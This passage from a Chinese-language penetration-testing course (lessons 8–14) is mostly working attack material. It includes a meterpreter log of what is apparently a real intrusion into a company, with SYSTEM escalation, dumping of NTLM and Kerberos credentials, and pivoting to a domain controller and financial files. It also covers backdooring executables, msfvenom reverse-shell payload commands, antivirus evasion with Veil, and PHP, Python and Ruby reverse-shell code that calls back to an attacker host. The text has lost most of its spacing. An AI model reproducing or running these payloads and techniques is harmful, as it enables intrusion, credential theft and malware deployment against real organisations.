shell('cmd','C:\\xxxx\\xxx\\xxxxx.exe');" 第八课:模拟诉求任务攻击 -85- 本文档使用书栈(BookStack.CN)构建 如果限制上传大小同样可以hex解决上传大小问题。 以下为部分msf操作实例 1. msf>useexploit/multi/handler 2. msfexploit(handler)>setpayloadwindows/meterpreter/reverse_tcp 3. msfexploit(handler)>exploit-l 4. meterpreter>ps 5. 6. ProcessList 7. ============ 8. 9. PIDPPIDNameArchSessionUserPath 10. ------------------------------ 11. 12. 00[SystemProcess] 13. 40Systemx860NTAUTHORITY\SYSTEM 14. 3044smss.exex860NTAUTHORITY\SYSTEM\SystemRoot\System32\smss.exe 15. 352304csrss.exex860NTAUTHORITY\SYSTEM\??\C:\WINDOWS\system32\csrss.exe 16. 376304winlogon.exex860NTAUTHORITY\SYSTEM\?? \C:\WINDOWS\system32\winlogon.exe 17. 424376services.exex860NTAUTHORITY\SYSTEMC:\WINDOWS\system32\services.exe 18. 436376lsass.exex860NTAUTHORITY\SYSTEMC:\WINDOWS\system32\lsass.exe 19. 620424vmacthlp.exex860NTAUTHORITY\SYSTEMC:\ProgramFiles\VMware\VMware Tools\vmacthlp.exe 20. 636424svchost.exex860NTAUTHORITY\SYSTEMC:\WINDOWS\system32\svchost.exe 21. 708424svchost.exex860NTAUTHORITY\NETWORKSERVICE C:\WINDOWS\system32\svchost.exe 22. 768424svchost.exex860NTAUTHORITY\NETWORKSERVICE C:\WINDOWS\system32\svchost.exe 23. 812424svchost.exex860NTAUTHORITY\LOCALSERVICE C:\WINDOWS\system32\svchost.exe 24. 828424svchost.exex860NTAUTHORITY\SYSTEMC:\WINDOWS\System32\svchost.exe 25. 1000424spoolsv.exex860NTAUTHORITY\SYSTEMC:\WINDOWS\system32\spoolsv.exe 26. 1028424msdtc.exex860NTAUTHORITY\NETWORKSERVICE C:\WINDOWS\system32\msdtc.exe 4、msf操作实例 第八课:模拟诉求任务攻击 -86- 本文档使用书栈(BookStack.CN)构建 27. 1160424svchost.exex860NTAUTHORITY\SYSTEMC:\WINDOWS\System32\svchost.exe 28. 1228424inetinfo.exex860NTAUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe 29. 1252424sqlservr.exex860NTAUTHORITY\SYSTEM C:\PROGRA\~1\MICROS~1\MSSQL\binn\sqlservr.exe 30. 1304424mysqld.exex860NTAUTHORITY\SYSTEMC:\ProgramFiles\MySQL\MySQL Server5.1\bin\mysqld.exe 31. 1348424svchost.exex860NTAUTHORITY\LOCALSERVICE C:\WINDOWS\system32\svchost.exe 32. 1408424vmtoolsd.exex860NTAUTHORITY\SYSTEMC:\ProgramFiles\VMware\VMware Tools\vmtoolsd.exe 33. 1472424mssearch.exex860NTAUTHORITY\SYSTEMC:\ProgramFiles\Common Files\System\MSSearch\Bin\mssearch.exe 34. 1720424svchost.exex860NTAUTHORITY\SYSTEMC:\WINDOWS\System32\svchost.exe 35. 21282084explorer.exex860xxxxxxxxxxxx\AdministratorC:\WINDOWS\Explorer.EXE 36. 22082128vmtoolsd.exex860xxxxxxxxxxxx\AdministratorC:\Program Files\VMware\VMwareTools\vmtoolsd.exe 37. 22322128ctfmon.exex860xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\ctfmon.exe 38. 22442128sqlmangr.exex860xxxxxxxxxxxx\AdministratorC:\Program Files\MicrosoftSQLServer\80\Tools\Binn\sqlmangr.exe 39. 2396424svchost.exex860NTAUTHORITY\SYSTEMC:\WINDOWS\System32\svchost.exe 40. 2440424dllhost.exex860NTAUTHORITY\SYSTEMC:\WINDOWS\system32\dllhost.exe 41. 30082128cmd.exex860xxxxxxxxxxxx\AdministratorC:\WINDOWS\system32\cmd.exe 42. 30243008conime.exex860xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\conime.exe 43. 3180636wmiprvse.exex860NTAUTHORITY\SYSTEM C:\WINDOWS\system32\wbem\wmiprvse.exe 44. 3248828wuauclt.exexxxxxxxxxxxx\AdministratorC:\WINDOWS\system32\wuauclt.exe 45. 3380376logon.scrx860xxxxxxxxxxxx\Administrator C:\WINDOWS\System32\logon.scr 1. meterpreter>migrate2128 2. [*]Migratingfrom3104to2128... 3. [*]Migrationcompletedsuccessfully.meterpreter>getsystem 4. ...gotsystemviatechnique1(NamedPipeImpersonation(InMemory/Admin)). 5. meterpreter>getuid 6. Serverusername:NTAUTHORITY\SYSTEMmeterpreter>msv 7. 8. [+]RunningasSYSTEM 9. [*]Retrievingmsvcredentialsmsvcredentials 10. 第八课:模拟诉求任务攻击 -87- 本文档使用书栈(BookStack.CN)构建 11. =============== 12. 13. AuthIDPackageDomainUserPassword 14. ------------------------------- 15. 16. 0;109205NTLMxxxxxxxxxxxxAdministratorlm{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}, ntlm{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx} 17. 0;996NegotiateNTAUTHORITYNETWORKSERVICElm{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx },ntlm{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx} 18. 0;997NegotiateNTAUTHORITYLOCALSERVICEn.s.(CredentialsKO) 19. 0;54469NTLMn.s.(CredentialsKO) 20. 0;999NTLMWORKGROUPxxxxxxxxxxxx\$n.s.(CredentialsKO) 1. meterpreter>kerberos[+]RunningasSYSTEM 2. 3. [*]Retrievingkerberoscredentialskerberoscredentials 4. 5. ==================== 6. 7. AuthIDPackageDomainUserPassword 8. ------------------------------- 9. 10. 0;996NegotiateNTAUTHORITYNETWORKSERVICE 11. 0;997NegotiateNTAUTHORITYLOCALSERVICE 12. 0;54469NTLM 13. 0;999NTLMWORKGROUPxxxxxxxxxxxx$ 14. 0;109205NTLMxxxxxxxxxxxxAdministrator123456 15. 16. meterpreter>portfwdadd-l3389-rx.x.x.x-p3389#IP已做处理 17. [*]LocalTCPrelaycreated::3389<->x.x.x.x:3389 18. meterpreter>portfwd 19. 20. ActivePortForwards 21. 22. ==================== 23. IndexLocalRemoteDirection 24. ------------------------- 25. 10.0.0.0:3389x.x.x.x:3389Forward 26. 1totalactiveportforwards. 27. 28. root@xxxx:/#rdesktop127.0.0.1:3389Autoselectedkeyboardmapen-us 29. Failedtonegotiateprotocol,retryingwithplainRDP. 第八课:模拟诉求任务攻击 -88- 本文档使用书栈(BookStack.CN)构建 30. WARNING:Remotedesktopdoesnotsupportcolourdepth24;fallingbackto16 31. 32. meterpreter>runautoroute-h 33. 34. [*]Usage:runautoroute[-r]-ssubnet-nnetmask 35. [*]Examples: 36. [*]runautoroute-s10.1.1.0-n255.255.255.0#Addarouteto 37. 10.10.10.1/255.255.255.0 38. [*]runautoroute-s10.10.10.1#Netmaskdefaultsto255.255.255.0 39. [*]runautoroute-s10.10.10.1/24#CIDRnotationisalsookay 40. [*]runautoroute-p#Printactiveroutingtable 41. [*]runautoroute-d-s10.10.10.1#Deletesthe10.10.10.1/255.255.255.0route 42. [*]Usethe"route"and"ipconfig"Meterpretercommandstolearnabout availableroutes 43. [-]Deprecationwarning:Thisscripthasbeenreplacedbythe post/windows/manage/autoroutemodule 44. 45. meterpreter>ifconfig 46. 47. Interface1 48. 49. ============ 50. Name:MSTCPLoopbackinterface 51. HardwareMAC:00:00:00:00:00:00 52. MTU:1520 53. IPv4Address:127.0.0.1 54. 55. Interface2 56. 57. ============ 58. 59. Name:BroadcomNetXtremeGigabitEthernet-McAfeeNDISIntermediateFilter Miniport 60. HardwareMAC:00:11:25:40:77:8f 61. MTU:1500 62. IPv4Address:10.23.255.3IPv4Netmask:255.255.255.0 63. 64. meterpreter>runautoroute-s10.23.255.3-n255.255.255.0 65. 66. [*]Addingarouteto10.23.255.3/255.255.255.0... 67. [+]Addedrouteto10.23.255.3/255.255.255.0via61.57.243.227 68. [*]Usethe-poptiontolistallactiveroutes 第八课:模拟诉求任务攻击 -89- 本文档使用书栈(BookStack.CN)构建 69. 70. meterpreter>runautoroute-p 71. 72. ActiveRoutingTable 73. 74. ==================== 75. 76. SubnetNetmaskGateway 77. -------------------- 78. 10.23.255.3255.255.255.0Session3 79. 80. meterpreter>ifconfig 81. 82. Interface1 83. 84. ============ 85. 86. Name:MSTCPLoopbackinterface 87. HardwareMAC:00:00:00:00:00:00 88. MTU:1520 89. IPv4Address:127.0.0.1 90. 91. Interface2 92. 93. ============ 94. Name:BroadcomNetXtremeGigabitEthernet-McAfeeNDISIntermediateFilter Miniport 95. HardwareMAC:00:11:25:40:77:8f 96. MTU:1500 97. IPv4Address:10.23.255.3IPv4Netmask:255.255.255.0 98. 99. meterpreter> 100. Backgroundsession3?[y/N] 101. 102. msfauxiliary(tcp)>useauxiliary/scanner/portscan/tcp 103. msfauxiliary(tcp)>showoptions 104. Moduleoptions(auxiliary/scanner/portscan/tcp): 105. 106. NameCurrentSettingRequiredDescription 107. -------------------------------------- 108. 109. CONCURRENCY10yesThenumberofconcurrentportstocheckperhost 第八课:模拟诉求任务攻击 -90- 本文档使用书栈(BookStack.CN)构建 110. DELAY0yesThedelaybetweenconnections,perthread,inmilliseconds 111. JITTER0yesThedelayjitterfactor(maximumvaluebywhichto+/-DELAY)in milliseconds. 112. PORTS445,80,3389,22yesPortstoscan(e.g.22-25,80,110-900) 113. RHOSTS10.23.255.1-255yesThetargetaddressrangeorCIDRidentifier 114. THREADS10yesThenumberofconcurrentthreads 115. TIMEOUT1000yesThesocketconnecttimeoutinmilliseconds 最终得到了域控权限,并且得到了跨段的服务器权限。得到了个人机的重要权限,以及公司财报doc。 部分截图如下:由于时间问题,顺序可能打乱了。 第八课:模拟诉求任务攻击 -91- 本文档使用书栈(BookStack.CN)构建 第八课:模拟诉求任务攻击 -92- 本文档使用书栈(BookStack.CN)构建 跳段,个人机 第八课:模拟诉求任务攻击 -93- 本文档使用书栈(BookStack.CN)构建 第八课:模拟诉求任务攻击 -94- 本文档使用书栈(BookStack.CN)构建 放弃权限,所有操作并未更改,下载,删除等一切损害该公司的行为。 至此由虚拟机跳段到了工作办公机,(典型的A-B-C类跳板)得到了该公司的下年计划,人员组织构 架,财务报表,盈利情况,以及内部相关work文档等。 第八课:模拟诉求任务攻击 -95- 本文档使用书栈(BookStack.CN)构建 —ByMicropoor 第八课:模拟诉求任务攻击 -96- 本文档使用书栈(BookStack.CN)构建 项目地址: https://github.com/secretsquirrel/the-backdoor-factory 可执行二进制文件中有大量的00,这些00是不包含数据的,将这些数据替换成payload,并且在 程序执行的时候,jmp到代码段,来触发payload。 1. root@John:~/Desktop#gitclonehttps://github.com/secretsquirrel/the-backdoor- factory.git 2. //安装the-backdoor-factory 1. root@John:~/Desktop/the-backdoor-factory#./backdoor.py-f~/demo/guobang.exe- S 2. //检测是否支持后门植入 工具介绍the-backdoor-factory 原理 以项目中的过磅系统为例: 第九课:工具介绍-the-backdoor-factory -97- 本文档使用书栈(BookStack.CN)构建 1. root@John:~/Desktop/the-backdoor-factory#./backdoor.py-f~/demo/guobang.exe- c-l150 2. //测试裂缝空间size150 第九课:工具介绍-the-backdoor-factory -98- 本文档使用书栈(BookStack.CN)构建 1. root@John:~/Desktop/the-backdoor-factory#./backdoor.py-f~/demo/guobang.exe- sshow 2. //查看可用payload 第九课:工具介绍-the-backdoor-factory -99- 本文档使用书栈(BookStack.CN)构建 1. root@John:~/Desktop/the-backdoor-factory#./backdoor.py-f~/demo/guobang.exe- H192.168.1.111-P8080-siat_reverse_tcp_stager_threaded 2. //插入payload,并生成文件。 第九课:工具介绍-the-backdoor-factory -100- 本文档使用书栈(BookStack.CN)构建 1. root@John:~/Desktop/the-backdoor-factory#md5sum./guobang.exe /root/demo/guobang.exe 2. //对比原文件与生成文件MD5值 1. root@John:~/Desktop/the-backdoor-factory#du-k./guobang.exe /root/demo/guobang.exe 2. //对比文件大小 第九课:工具介绍-the-backdoor-factory -101- 本文档使用书栈(BookStack.CN)构建 1. msf>useexploit/multi/handler 2. msfexploit(handler)>setpayloadwindows/meterpreter/reverse_tcp 3. payload=>windows/meterpreter/reverse_tcp 4. msfexploit(handler)>setlhost192.168.1.111 5. lhost=>192.168.1.111 6. msfexploit(handler)>setlport8080 7. lport=>8080 8. msfexploit(handler)>exploit-j 9. //开启本地监听 //打开软件 1. meterpreter>getuid 2. Serverusername:John-PC\John 第九课:工具介绍-the-backdoor-factory -102- 本文档使用书栈(BookStack.CN)构建 //确定目标 —ByMicropoor 第九课:工具介绍-the-backdoor-factory -103- 本文档使用书栈(BookStack.CN)构建 1. msfvenom-ax86--platformWindows-pwindows/meterpreter/reverse_tcp 2. LHOST=攻击机IPLPORT=攻击机端口-ex86/shikata_ga_nai-b'\x00\x0a\xff'-i3-f exe-opayload.exe 1. msfvenom-ax86--platformosx-posx/x86/shell_reverse_tcpLHOST=攻击机IP LPORT=攻击机端口-fmacho-opayload.macho 1. //需要签名 2. msfvenom-ax86--platformAndroid-pandroid/meterpreter/reverse_tcpLHOST=攻 击机IPLPORT=攻击机端口-fapk-opayload.apk 1. msfvenom-ax86--platformWindows-pwindows/powershell_reverse_tcpLHOST=攻击 机IPLPORT=攻击机端口-ecmd/powershell_base64-i3-fraw-opayload.ps1 1. msfvenom-ax86--platformLinux-plinux/x86/meterpreter/reverse_tcpLHOST=攻 击机IPLPORT=攻击机端口-felf-opayload.elf 1. msfvenom-pphp/meterpreter_reverse_tcpLHOST=<YourIPAddress>LPORT=<Your PorttoConnectOn>-fraw>shell.php 2. catshell.php|pbcopy&&echo'<?php'|tr-d'\n'>shell.php&&pbpaste>> shell.php msfvenom常用生成Payload命令 windows: mac: android: powershell: linux: php: 第十课:msfvenom常用生成payload命令 -104- 本文档使用书栈(BookStack.CN)构建 1. msfvenom-ax86--platformwindows-pwindows/meterpreter/reverse_tcpLHOST=攻 击机IPLPORT=攻击机端口-faspx-opayload.aspx 1. msfvenom--platformjava-pjava/jsp_shell_reverse_tcpLHOST=攻击机IPLPORT=攻击 机端口-fraw-opayload.jsp 1. msfvenom-pjava/jsp_shell_reverse_tcpLHOST=攻击机IPLPORT=攻击机端口-fraw-o payload.war 1. msfvenom-pnodejs/shell_reverse_tcpLHOST=攻击机IPLPORT=攻击机端口-fraw-o payload.js 1. msfvenom-ppython/meterpreter/reverse_tcpLHOST=攻击机IPLPORT=攻击机端口-fraw -opayload.py 1. msfvenom-pcmd/unix/reverse_perlLHOST=攻击机IPLPORT=攻击机端口-fraw-o payload.pl 1. msfvenom-pruby/shell_reverse_tcpLHOST=攻击机IPLPORT=攻击机端口-fraw-o payload.rb aspx: jsp: war: nodejs: python: perl: ruby: lua: 第十课:msfvenom常用生成payload命令 -105- 本文档使用书栈(BookStack.CN)构建 1. msfvenom-pcmd/unix/reverse_luaLHOST=攻击机IPLPORT=攻击机端口-fraw-o payload.lua 1. msfvenom-ax86--platformWindows-pwindows/meterpreter/reverse_tcpLHOST=攻 击机IPLPORT=攻击机端口-fc 1. msfvenom-ax86--platformLinux-plinux/x86/meterpreter/reverse_tcpLHOST=攻 击机IPLPORT=攻击机端口-fc 1. msfvenom-ax86--platformosx-posx/x86/shell_reverse_tcpLHOST=攻击机IP LPORT=攻击机端口-fc 项目地址: https://github.com/Screetsec/TheFatRat 1. root@John:~/Desktop#gitclonehttps://github.com/Screetsec/TheFatRat.git 2. //设置时需要挂墙 windowsshellcode: linuxshellcode: macshellcode: 便捷化payload生成: 第十课:msfvenom常用生成payload命令 -106- 本文档使用书栈(BookStack.CN)构建 第十课:msfvenom常用生成payload命令 -107- 本文档使用书栈(BookStack.CN)构建 中文使用说明: 1. Options: 2. 3. -p,--payload<payload>使用指定的payload 4. --payload-options列出该payload参数 5. -l,--list[type]列出所有的payloads 6. -n,--nopsled<length>为payload指定一个nopsled长度 7. -f,--format<format>指定payload生成格式 8. --help-formats查看所有支持格式 9. -e,--encoder<encoder>使用编码器 10. -a,--arch<arch>指定payload构架 11. --platform<platform>指定payload平台 12. --help-platforms显示支持的平台 13. -s,--space<length>设定payload攻击荷载的最大长度 14. --encoder-space<length>Themaximumsizeoftheencodedpayload 15. 16. (defaultstothe-svalue) 17. -b,--bad-chars<list>指定bad-chars如:'\x00\xff' 18. -i,--iterations<count>指定编码次数 19. -c,--add-code<path>指定个win32shellcode文件 20. -x,--template<path>指定一个executable文件作为模板 21. -k,--keeppayload自动分离并注入到新的进程 22. -o,--out<path>存放生成的payload 23. -v,--var-name<name>指定自定义变量 24. --smallestGeneratethesmallestpossiblepayload 25. -h,--help显示帮助文件 —ByMicropoor 附录: 第十课:msfvenom常用生成payload命令 -108- 本文档使用书栈(BookStack.CN)构建 项目地址: https://github.com/Veil-Framework/Veil-Evasion Veil-Evasion是与Metasploit生成相兼容的Payload的一款辅助框架,并可以绕过大多数的 杀软。 Veil-Evasion并没有集成在kali,配置sources.list,可直接apt-get。 1. root@John:~/Deskto#cat/etc/apt/sources.list 2. 3. #中科大 4. debhttp://mirrors.ustc.edu.cn/kalikali-rollingmainnon-freecontrib 5. deb-srchttp://mirrors.ustc.edu.cn/kalikali-rollingmainnon-freecontrib 6. #阿里云 7. #debhttp://mirrors.aliyun.com/kalikali-rollingmainnon-freecontrib 8. #deb-srchttp://mirrors.aliyun.com/kalikali-rollingmainnon-freecontrib 9. #清华大学 10. #debhttp://mirrors.tuna.tsinghua.edu.cn/kalikali-rollingmaincontribnon- free 11. #deb-srchttps://mirrors.tuna.tsinghua.edu.cn/kalikali-rollingmaincontrib non-free 12. #浙大 13. #debhttp://mirrors.zju.edu.cn/kalikali-rollingmaincontribnon-free 14. #deb-srchttp://mirrors.zju.edu.cn/kalikali-rollingmaincontribnon-free 15. #东软大学 16. #debhttp://mirrors.neusoft.edu.cn/kalikali-rolling/mainnon-freecontrib 17. #deb-srchttp://mirrors.neusoft.edu.cn/kalikali-rolling/mainnon-freecontrib 18. #官方源 19. debhttp://http.kali.org/kalikali-rollingmainnon-freecontrib 20. deb-srchttp://http.kali.org/kalikali-rollingmainnon-freecontrib 21. #重庆大学 22. #debhttp://http.kali.org/kalikali-rollingmainnon-freecontrib 23. #deb-srchttp://http.kali.org/kalikali-rollingmainnon-freecontrib 工具介绍Veil-Evasion 1、Veil-Evasion 2、安装 第十一课:工具介绍Veil-Evasion -109- 本文档使用书栈(BookStack.CN)构建 1. root@John:~/Desktop#apt-getinstallveil-evasion 由于在实验中本机已经安装,所以我们在虚拟机中使用git方式来下载和安装。(以便截图) ps:本次kali下截图使用scrot 1. root@John:~/Deskto#apt-getinstallscrot 2. root@John:~/Deskto#scrot-s//即可 3. root@John:~/Deskto#gitclonehttps://github.com/Veil-Framework/Veil- Evasion.git 1. root@John:~/Veil-Evasion#./setup.sh 2. //安装漫长 第十一课:工具介绍Veil-Evasion -110- 本文档使用书栈(BookStack.CN)构建 第十一课:工具介绍Veil-Evasion -111- 本文档使用书栈(BookStack.CN)构建 以 c/meterpreter/rev_tcp 为例: 3、测试 第十一课:工具介绍Veil-Evasion -112- 本文档使用书栈(BookStack.CN)构建 ps:Veil-Evasion不再更新,新版本项目地址: https://github.com/Veil-Framework/Veil 4、附录: 第十一课:工具介绍Veil-Evasion -113- 本文档使用书栈(BookStack.CN)构建 1. [*]可支持生成payloads: 2. 1)auxiliary/coldwar_wrapper 3. 2)auxiliary/macro_converter 4. 3)auxiliary/pyinstaller_wrapper 5. 4)c/meterpreter/rev_http 6. 5)c/meterpreter/rev_http_service 7. 6)c/meterpreter/rev_tcp 8. 7)c/meterpreter/rev_tcp_service 9. 8)c/shellcode_inject/flatc 10. 9)cs/meterpreter/rev_http 11. 10)cs/meterpreter/rev_https 12. 11)cs/meterpreter/rev_tcp 13. 12)cs/shellcode_inject/base64_substitution 14. 13)cs/shellcode_inject/virtual 15. 14)go/meterpreter/rev_http 16. 15)go/meterpreter/rev_https 17. 16)go/meterpreter/rev_tcp 18. 17)go/shellcode_inject/virtual 19. 18)native/backdoor_factory 20. 19)native/hyperion 21. 20)native/pe_scrambler 22. 21)perl/shellcode_inject/flat 23. 22)powershell/meterpreter/rev_http 24. 23)powershell/meterpreter/rev_https 25. 24)powershell/meterpreter/rev_tcp 26. 25)powershell/shellcode_inject/download_virtual 27. 26)powershell/shellcode_inject/download_virtual_https 28. 27)powershell/shellcode_inject/psexec_virtual 29. 28)powershell/shellcode_inject/virtual 30. 29)python/meterpreter/bind_tcp 31. 30)python/meterpreter/rev_http 32. 31)python/meterpreter/rev_http_contained 33. 32)python/meterpreter/rev_https 34. 33)python/meterpreter/rev_https_contained 35. 34)python/meterpreter/rev_tcp 36. 35)python/shellcode_inject/aes_encrypt 37. 36)python/shellcode_inject/aes_encrypt_HTTPKEY_Request 38. 37)python/shellcode_inject/arc_encrypt 39. 38)python/shellcode_inject/base64_substitution 40. 39)python/shellcode_inject/des_encrypt 41. 40)python/shellcode_inject/download_inject 42. 41)python/shellcode_inject/flat 第十一课:工具介绍Veil-Evasion -114- 本文档使用书栈(BookStack.CN)构建 43. 42)python/shellcode_inject/letter_substitution 44. 43)python/shellcode_inject/pidinject 45. 44)python/shellcode_inject/stallion 46. 45)ruby/meterpreter/rev_http 47. 46)ruby/meterpreter/rev_http_contained 48. 47)ruby/meterpreter/rev_https 49. 48)ruby/meterpreter/rev_https_contained 50. 49)ruby/meterpreter/rev_tcp 51. 50)ruby/shellcode_inject/base64 52. 51)ruby/shellcode_inject/flat —ByMicropoor 第十一课:工具介绍Veil-Evasion -115- 本文档使用书栈(BookStack.CN)构建 UDP(UserDatagramProtocol)是一种无连接的协议,在第四层-传输层,处于IP协议的上一 层。UDP有不提供数据包分组、组装和不能对数据包进行排序的缺点,也就是说,当报文发送之后,是 无法得知其是否安全完整到达的。 1. UDP缺乏可靠性。UDP本身不提供确认,超时重传等机制。UDP数据报可能在网络中被复制, 被重新排序,也不保证每个数据报只到达一次。 2. UDP数据报是有长度的。每个UDP数据报都有长度,如果一个数据报正确地到达目的地,那么 该数据报的长度将随数据一起传递给接收方。而TCP是一个字节流协议,没有任何(协议上 的)记录边界。 3. UDP是无连接的。UDP客户和服务器之前不必存在长期的关系。大多数的UDP实现中都选择忽略 源站抑制差错,在网络拥塞时,目的端无法接收到大量的UDP数据报 4. UDP支持多播和广播。 1. root@John:~#nmap-sU-T5-sV--max-retries1192.168.1.100-p500 慢的令人发指 1. msf>useauxiliary/scanner/discovery/udp_probe 基于UDP发现内网存活主机 UDP简介: UDP显著特性: 1、nmap扫描 2、msf扫描 第十二课:基于UDP发现内网存活主机 -116- 本文档使用书栈(BookStack.CN)构建 1. msf>useauxiliary/scanner/discovery/udp_sweep linux下使用推荐 1. root@John:~#unicornscan-mU192.168.1.100 项目地址: https://www.mcafee.com/ca/downloads/free-tools/scanline.aspx 网盘地址: http://pan.baidu.com/s/1i4A1wLR 3、unicornscan扫描 4、ScanLine扫描 第十二课:基于UDP发现内网存活主机 -117- 本文档使用书栈(BookStack.CN)构建 密码:hvyx McAfee出品,win下使用推荐。管理员执行。 第十二课:基于UDP发现内网存活主机 -118- 本文档使用书栈(BookStack.CN)构建 在线基于Nmap的udp扫描: https://pentest-tools.com/network-vulnerability-scanning/udp-port-scanner- online-nmap —ByMicropoor 附录: 第十二课:基于UDP发现内网存活主机 -119- 本文档使用书栈(BookStack.CN)构建 ARP,通过解析网路层地址来找寻数据链路层地址的一个在网络协议包中极其重要的网络传输协议。根据 IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上 的所有主机,并接收返回消息,以此确定目标的物理地址 1. root@John:~#nmap-sn-PR192.168.1.1/24 1. msf>useauxiliary/scanner/discovery/arp_sweep 2. msfauxiliary(arp_sweep)>showoptions 3. 4. Moduleoptions(auxiliary/scanner/discovery/arp_sweep): 5. 6. NameCurrentSettingRequiredDescription 7. -------------------------------------- 8. INTERFACEnoThenameoftheinterface 9. RHOSTSyesThetargetaddressrangeorCIDRidentifier 基于ARP发现内网存活主机 ARP简介: 1、nmap扫描 2、msf扫描 第十三课:基于ARP发现内网存活主机 -120- 本文档使用书栈(BookStack.CN)构建 10. SHOSTnoSourceIPAddress 11. SMACnoSourceMACAddress 12. THREADS1yesThenumberofconcurrentthreads 13. TIMEOUT5yesThenumberofsecondstowaitfornewdata 14. 15. msfauxiliary(arp_sweep)>setRHOSTS192.168.1.0/24 16. RHOSTS=>192.168.1.0/24 17. msfauxiliary(arp_sweep)>setTHREADS10 1. root@John:~#netdiscover-r192.168.1.0/24-iwlan0 3、netdiscover 第十三课:基于ARP发现内网存活主机 -121- 本文档使用书栈(BookStack.CN)构建 (推荐)速度与快捷 项目地址: https://linux.die.net/man/1/arp-scan arp-scan没有内置kali,需要下载安装。 4、arp-scan(linux) 第十三课:基于ARP发现内网存活主机 -122- 本文档使用书栈(BookStack.CN)构建 1. c:\tmp>powershell.exe-execbypass-Command"Import-Module .\arpscan.ps1;Invoke-ARPScan-CIDR192.168.1.0/24" 5、Powershell 第十三课:基于ARP发现内网存活主机 -123- 本文档使用书栈(BookStack.CN)构建 项目地址: https://sourceforge.net/projects/arpscannet/files/arpscannet/arpscannet%200 .4/ 6、arpscannet 第十三课:基于ARP发现内网存活主机 -124- 本文档使用书栈(BookStack.CN)构建 (推荐)速度与快捷 arp-scan.exe-t192.168.1.1/24 项目地址: https://github.com/QbsuranAlang/arp-scan-windows-/tree/master/arp-scan (非官方) 7、arp-scan(windows) 第十三课:基于ARP发现内网存活主机 -125- 本文档使用书栈(BookStack.CN)构建 arp-ping.exe192.168.1.100 如cain的arp发现,一些开源py,pl脚本等,不一一介绍。 以上非内置文件网盘位置。后门自查。 链接:https://pan.baidu.com/s/1boYuraJ 密码:58wf —ByMicropoor 8、arp-ping.exe 9、其他 附录: 第十三课:基于ARP发现内网存活主机 -126- 本文档使用书栈(BookStack.CN)构建 在实战中可能会遇到各种诉求payload,并且可能遇到各种实际问题,如杀毒软件,防火墙拦截,特 定端口通道,隧道等问题。这里我们根据第十课补充其中部分,其他内容后续补充。 这次主要补充了PHP,python,ruby。 ps:在线代码高亮:http://tool.oschina.net/highlight 1. msf>useexploit/multi/handler 2. msfexploit(handler)>setpayloadwindows/meterpreter/reverse_tcp 3. payload=>windows/meterpreter/reverse_tcp 4. msfexploit(handler)>setLHOST192.168.1.107 5. LHOST=>192.168.1.107 1. <? 2. phperror_reporting(0);$ip='x.x.x.x';$port=53;if(($f= 'stream_socket_client')&&is_callable($f)){ 3. {$port}");$s_type='stream';}if(!$s&&($f='fsockopen')&& is_callable($f)){$s=$f($ip,$port);$s_ 4. strlen($b));break;case'socket':$b.=socket_read($s,$len-strlen($b)); break;}}$GLOBALS['msgsock']=$s; 5. $GLOBALS['msgsock_type']=$s_type;if(extension_loaded('s 6. > 基于第十课补充Payload1 1、php-payload 第十四课:基于第十课补充payload1 -127- 本文档使用书栈(BookStack.CN)构建 1. <?php 2. $sock=fsockopen("xx.xx.xx.xx",xx);exec("/bin/sh-i<&3>&32>&3"); 3. ?> 1. msf>useexploit/multi/handler 2、python-payload 第十四课:基于第十课补充payload1 -128- 本文档使用书栈(BookStack.CN)构建 2. msfexploit(handler)>setpayloadwindows/meterpreter/reverse_tcp 3. payload=>windows/meterpreter/reverse_tcp 4. msfexploit(handler)>setLHOST192.168.1.107 5. LHOST=>192.168.1.107 1. importsocket,struct,time 2. forxinrange(10): 3. try: 4. s=socket.socket(2,socket.SOCK_STREAM) 5. s.connect(('x.x.x.x',xx)) 6. break 7. except: 8. time.sleep(5)l=struct.unpack('>I',s.recv(4))[0] 9. d=s.recv(l) 10. whilelen(d)<l: 11. d+=s.recv(l-len(d)) 12. exec(d,{'s':s}) 1. importsocket,subprocess,os; 2. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",xx)); 3. i"]); 第十四课:基于第十课补充payload1 -129- 本文档使用书栈(BookStack.CN)构建 1. importsocketimportsubprocess 2. s=socket.socket() 3. s.connect(("xx.xx.xx.xx",xx)) 4. while1: 5. p=subprocess.Popen(s.recv(1024), 6. shell=True, 7. stdout=subprocess.PIPE, 8. stderr=subprocess.PIPE, 9. stdin=subprocess.send(p.stdout.read()+p.stderr.read() 10. ) 第十四课:基于第十课补充payload1 -130- 本文档使用书栈(BookStack.CN)构建 删除特征: 1. root@John:~#msfvenom-pwindows/meterpreter/reverse_tcpLHOST=8.8.8.8LPORT=88 -fc|tr-d'"'|tr-d'\n' 1. fromctypesimport* 2. 3. reverse_shell= "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x 第十四课:基于第十课补充payload1 -131- 本文档使用书栈(BookStack.CN)构建 4. micropoorshell=create_string_buffer(reverse_shell,len(reverse_shell)) 5. shellcode=cast(micropoorshell,CFUNCTYPE(c_void_p)) 6. shellcode() 1. require'socket';c=TCPSocket.new("xx.xx.xx.xx", x);$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdi 2. (IO.popen(l,"rb"){|fd|fd.each_line{|o|c.puts(o.strip)}})rescuenil} 1. require'socket';f=TCPSocket.open("xx.xx.xx.xx",xx).to_i;execsprintf("/bin/sh -i<&%d>&%d2>&%d",f,f,f) 2、ruby-payload 第十四课:基于第十课补充payload1 -132- 本文档使用书栈(BookStack.CN)构建 1. require 'socket';c=TCPSocket.new("xx.xx.xx.xx","xx");while(cmd=c.gets);IO.popen(cmd,"r") {|io|c.printio.read}end 1. c=TCPSocket.new("xx.xx.xx.xx","xx");while(cmd=c.gets);IO.popen(cmd,"r") {\|io\|c.print 2. io.read}end 第十四课:基于第十课补充payload1 -133- 本文档使用书栈(BookStack.CN)构建 —ByMicropoor 第十四课:基于第十课补充payload1 -134- 本文档使用书栈(BookStack.CN)构建 